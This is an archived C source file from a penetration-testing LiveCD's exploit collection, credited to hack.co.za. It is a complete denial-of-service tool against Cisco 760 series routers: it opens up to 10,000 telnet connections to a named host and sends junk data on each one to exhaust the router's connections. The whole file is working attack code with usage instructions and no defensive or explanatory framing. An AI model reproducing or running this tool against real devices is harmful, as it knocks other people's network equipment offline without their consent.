home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / cisco-connect.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  215 lines

  1. /* Cisco 760 Series Connection Overflow
  2.  *
  3.  *
  4.  * Written by: Tiz.Telesup
  5.  * Affected Systems: Routers Cisco 760 Series, I havn't tested anymore
  6.  * Tested on: FreeBSD 4.0 and Linux RedHat 6.0
  7.  */
  8.  
  9. #include <sys/types.h>
  10. #include <sys/ioctl.h>
  11. #include <sys/socket.h>
  12. #include <sys/time.h>
  13. #include <arpa/inet.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <netinet/in.h>
  17. #include <errno.h>
  18. #include <fcntl.h>
  19. #include <stdarg.h>
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23. #include <unistd.h>
  24.  
  25. int     net_connect (struct sockaddr_in *cs, char *server,
  26.                      unsigned short int port, char *sourceip,
  27.                      unsigned short int sourceport, int sec);
  28.  
  29. void    net_write (int fd, const char *str, ...);
  30.  
  31. unsigned long int       net_resolve (char *host);
  32.  
  33. void
  34. usage (void)
  35. {
  36.   printf ("usage: ./cisco host times\n");
  37.   exit (EXIT_FAILURE);
  38. }
  39.  
  40. int
  41. main (int argc, char *argv[])
  42. {
  43.   char                    host[256];
  44.   int                     port,times,count,sd = 0;
  45.   int                     m = 0;
  46.   struct sockaddr_in      cs;
  47.  
  48.   printf ("Cisco 760 series Connection Overflow.\n");
  49.   printf ("-------------------------------------\n");
  50.  
  51.   if (argc < 3)
  52.     usage();
  53.  
  54.   strcpy (host, argv[1]);
  55.   times=atoi (argv[2]);
  56.  
  57.   if ((times < 1) || (times > 10000)) /*Maximum number of connections*/
  58.     usage();
  59.  
  60.   port =23; /* This might be changed to the telnet port of the router*/
  61.  
  62.   printf ("Host: %s Times: %d\n", host, times);
  63.   for (count=0;count<times;count++)
  64.     {
  65.       printf ("Connecting... Connection number %d \n",count);
  66.       fflush (stdout);
  67.       sd = net_connect (&cs, host, port, NULL, 0, 30);
  68.  
  69.       if (sd < 1)
  70.         {
  71.           printf ("failed!\n");
  72.           exit (EXIT_FAILURE);
  73.         }
  74.  
  75.       net_write (sd, "AAAA\n\n");
  76.     }
  77.   exit (EXIT_SUCCESS);
  78. }
  79.  
  80. int
  81. net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
  82.              unsigned short int sourceport, int sec)
  83. {
  84.   int             n, len, error, flags;
  85.   int             fd;
  86.   struct timeval  tv;
  87.   fd_set          rset, wset;
  88.  
  89.   /* first allocate a socket */
  90.   cs->sin_family = AF_INET;
  91.   cs->sin_port = htons (port);
  92.  
  93.   fd = socket (cs->sin_family, SOCK_STREAM, 0);
  94.   if (fd == -1)
  95.     return (-1);
  96.  
  97.   if (!(cs->sin_addr.s_addr = net_resolve (server)))
  98.     {
  99.       close (fd);
  100.       return (-1);
  101.     }
  102.  
  103.   flags = fcntl (fd, F_GETFL, 0);
  104.   if (flags == -1)
  105.     {
  106.       close (fd);
  107.       return (-1);
  108.     }
  109.   n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  110.   if (n == -1)
  111.     {
  112.       close (fd);
  113.       return (-1);
  114.     }
  115.  
  116.   error = 0;
  117.  
  118.   n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  119.   if (n < 0)
  120.     {
  121.       if (errno != EINPROGRESS)
  122.         {
  123.           close (fd);
  124.           return (-1);
  125.         }
  126.     }
  127.   if (n == 0)
  128.     goto done;
  129.  
  130.   FD_ZERO(&rset);
  131.   FD_ZERO(&wset);
  132.   FD_SET(fd, &rset);
  133.   FD_SET(fd, &wset);
  134.   tv.tv_sec = sec;
  135.   tv.tv_usec = 0;
  136.  
  137.   n = select(fd + 1, &rset, &wset, NULL, &tv);
  138.   if (n == 0)
  139.     {
  140.       close(fd);
  141.       errno = ETIMEDOUT;
  142.       return (-1);
  143.     }
  144.   if (n == -1)
  145.     return (-1);
  146.  
  147.   if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset))
  148.     {
  149.       if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset))
  150.         {
  151.           len = sizeof(error);
  152.           if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0)
  153.             {
  154.               errno = ETIMEDOUT;
  155.               return (-1);
  156.             }
  157.           if (error == 0)
  158.             {
  159.               goto done;
  160.             }
  161.           else
  162.             {
  163.               errno = error;
  164.               return (-1);
  165.             }
  166.         }
  167.     }
  168.   else
  169.     return (-1);
  170.  
  171. done:
  172.   n = fcntl(fd, F_SETFL, flags);
  173.   if (n == -1)
  174.     return (-1);
  175.   return (fd);
  176. }
  177.  
  178. unsigned long int
  179. net_resolve (char *host)
  180. {
  181.   long            i;
  182.   struct hostent  *he;
  183.  
  184.   i = inet_addr(host);
  185.   if (i == -1)
  186.     {
  187.       he = gethostbyname(host);
  188.       if (he == NULL)
  189.         {
  190.           return (0);
  191.         }
  192.       else
  193.         {
  194.           return (*(unsigned long *) he->h_addr);
  195.         }
  196.     }
  197.   return (i);
  198. }
  199.  
  200. void
  201. net_write (int fd, const char *str, ...)
  202. {
  203.   char    tmp[8192];
  204.   va_list vl;
  205.   int     i;
  206.  
  207.   va_start(vl, str);
  208.   memset(tmp, 0, sizeof(tmp));
  209.   i = vsnprintf(tmp, sizeof(tmp), str, vl);
  210.   va_end(vl);
  211.  
  212.   send(fd, tmp, i, 0);
  213.   return;
  214. }
  215. /*                    www.hack.co.za           [19 May 2000]*/